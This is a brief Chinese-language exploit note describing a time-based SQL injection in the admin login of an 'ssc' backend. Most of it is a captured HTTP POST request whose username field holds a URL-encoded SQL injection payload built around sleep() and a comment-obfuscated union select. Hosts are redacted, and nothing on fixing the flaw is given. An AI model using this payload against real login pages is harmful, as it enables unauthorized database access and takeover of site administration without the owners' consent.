目录
0x1漏洞位置
该漏洞位置位于ssc后台,为登陆处延时注入。
0x2漏洞利用
在登陆过程中抓包获取相关http请求包:
POST /Public.login.do HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 223
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=pcsn8b770h6ibi5nh50vkgs0k5; admin_think_template=admin
Origin: http://xxx
Referer: http://xxxx/Public.login.do
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
do=%C2%A0%E7%99%BB%C2%A0%C2%A0%C2%A0%C2%A0%E5%BD%95%C2%A0&info%5Bname%5D=admin%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27&info%5Bpass%5D=j